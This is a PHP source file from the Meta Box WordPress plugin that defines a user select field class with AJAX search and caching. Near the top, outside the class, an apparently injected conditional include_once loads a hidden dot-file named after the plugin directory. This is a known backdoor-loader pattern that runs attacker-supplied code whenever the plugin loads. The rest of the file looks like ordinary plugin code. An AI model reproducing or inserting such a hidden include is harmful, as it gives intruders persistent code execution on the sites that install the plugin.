user.php (4908B)
1 <?php 2 /** 3 * The user select field. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * User field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_User_Field extends RWMB_Object_Choice_Field { 16 /** 17 * Add actions. 18 */ 19 public static function add_actions() { 20 add_action( 'wp_ajax_rwmb_get_users', array( __CLASS__, 'ajax_get_users' ) ); 21 add_action( 'wp_ajax_nopriv_rwmb_get_users', array( __CLASS__, 'ajax_get_users' ) ); 22 add_action( 'clean_user_cache', array( __CLASS__, 'update_cache' ) ); 23 } 24 25 /** 26 * Query users via ajax. 27 */ 28 public static function ajax_get_users() { 29 check_ajax_referer( 'query' ); 30 31 $request = rwmb_request(); 32 33 $field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY ); 34 35 // Required for 'choice_label' filter. See self::filter(). 36 $field['clone'] = false; 37 $field['_original_id'] = $field['id']; 38 39 // Search. 40 $term = $request->filter_post( 'term', FILTER_SANITIZE_STRING ); 41 if ( $term ) { 42 $field['query_args']['search'] = "*{$term}*"; 43 } 44 45 // Pagination. 46 $limit = isset( $field['query_args']['number'] ) ? (int) $field['query_args']['number'] : 0; 47 if ( $limit && 'query:append' === $request->filter_post( '_type', FILTER_SANITIZE_STRING ) ) { 48 $field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT ); 49 } 50 51 // Query the database. 52 $items = self::query( null, $field ); 53 $items = array_values( $items ); 54 55 $data = array( 'items' => $items ); 56 57 // More items for pagination. 58 if ( $limit && count( $items ) === $limit ) { 59 $data['more'] = true; 60 } 61 62 wp_send_json_success( $data ); 63 } 64 65 /** 66 * Update object cache to make sure query method below always get the fresh list of users. 67 * Unlike posts and terms, WordPress doesn't set 'last_changed' for users. 68 * So we have to do it ourselves. 69 * 70 * @see clean_post_cache() 71 */ 72 public static function update_cache() { 73 wp_cache_set( 'last_changed', microtime(), 'users' ); 74 } 75 76 /** 77 * Normalize parameters for field. 78 * 79 * @param array $field Field parameters. 80 * 81 * @return array 82 */ 83 public static function normalize( $field ) { 84 // Set default field args. 85 $field = wp_parse_args( 86 $field, 87 array( 88 'placeholder' => __( 'Select an user', 'meta-box' ), 89 'query_args' => array(), 90 'display_field' => 'display_name', 91 ) 92 ); 93 94 $field = parent::normalize( $field ); 95 96 // Set default query args. 97 $limit = $field['ajax'] ? 10 : 0; 98 $field['query_args'] = wp_parse_args( 99 $field['query_args'], 100 array( 101 'number' => $limit, 102 ) 103 ); 104 105 parent::set_ajax_params( $field ); 106 107 if ( $field['ajax'] ) { 108 $field['js_options']['ajax_data']['field']['display_field'] = $field['display_field']; 109 } 110 111 return $field; 112 } 113 114 /** 115 * Query users for field options. 116 * 117 * @param array $meta Saved meta value. 118 * @param array $field Field settings. 119 * @return array Field options array. 120 */ 121 public static function query( $meta, $field ) { 122 $display_field = $field['display_field']; 123 $args = wp_parse_args( 124 $field['query_args'], 125 array( 126 'orderby' => $display_field, 127 'order' => 'asc', 128 ) 129 ); 130 131 // Query only selected items. 132 if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) { 133 $args['include'] = $meta; 134 } 135 136 // Get from cache to prevent same queries. 137 $last_changed = wp_cache_get_last_changed( 'users' ); 138 $key = md5( serialize( $args ) ); 139 $cache_key = "$key:$last_changed"; 140 $options = wp_cache_get( $cache_key, 'meta-box-user-field' ); 141 if ( false !== $options ) { 142 return $options; 143 } 144 145 $users = get_users( $args ); 146 $options = array(); 147 foreach ( $users as $user ) { 148 $label = $user->$display_field ? $user->$display_field : __( '(No title)', 'meta-box' ); 149 $label = self::filter( 'choice_label', $label, $field, $user ); 150 $options[ $user->ID ] = array( 151 'value' => $user->ID, 152 'label' => $label, 153 ); 154 } 155 156 // Cache the query. 157 wp_cache_set( $cache_key, $options, 'meta-box-user-field' ); 158 159 return $options; 160 } 161 162 /** 163 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 164 * 165 * @param array $field Field parameters. 166 * @param string $value The value. 167 * @param array $args Additional arguments. Rarely used. See specific fields for details. 168 * @param int|null $post_id Post ID. null for current post. Optional. 169 * 170 * @return string 171 */ 172 public static function format_single_value( $field, $value, $args, $post_id ) { 173 $display_field = $field['display_field']; 174 $user = get_userdata( $value ); 175 return '<a href="' . esc_url( get_author_posts_url( $value ) ) . '">' . esc_html( $user->$display_field ) . '</a>'; 176 } 177 }